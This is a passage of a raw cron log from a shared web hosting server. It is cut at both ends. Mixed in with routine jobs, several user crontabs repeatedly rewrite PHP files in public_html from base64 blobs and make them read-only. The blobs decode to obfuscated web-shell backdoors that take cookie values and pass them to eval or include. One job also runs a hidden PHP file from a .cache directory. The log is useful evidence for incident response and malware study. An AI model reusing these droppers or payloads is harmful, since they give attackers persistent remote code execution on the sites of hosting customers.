"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:42:02 medusa CROND[10911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:42:02 medusa CROND[10962]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:42:02 medusa CROND[10965]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:42:02 medusa CROND[10966]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:42:02 medusa CROND[10967]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:42:02 medusa CROND[10968]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:42:02 medusa CROND[10970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:42:02 medusa CROND[10971]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:42:02 medusa CROND[10977]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:42:02 medusa CROND[10981]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:42:02 medusa CROND[10980]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:42:02 medusa CROND[10982]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:42:02 medusa CROND[10983]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:43:01 medusa CROND[2780]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:43:01 medusa CROND[2781]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:43:01 medusa CROND[2782]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:43:01 medusa CROND[2784]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:43:01 medusa CROND[2783]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 08:43:01 medusa CROND[2786]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Apr 19 08:43:01 medusa CROND[2785]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:43:01 medusa CROND[2787]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:43:01 medusa CROND[2788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:43:01 medusa CROND[2791]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:43:01 medusa CROND[2796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:43:01 medusa CROND[2798]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:43:01 medusa CROND[2797]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:43:01 medusa CROND[2795]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:44:01 medusa CROND[27421]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:44:01 medusa CROND[27443]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogI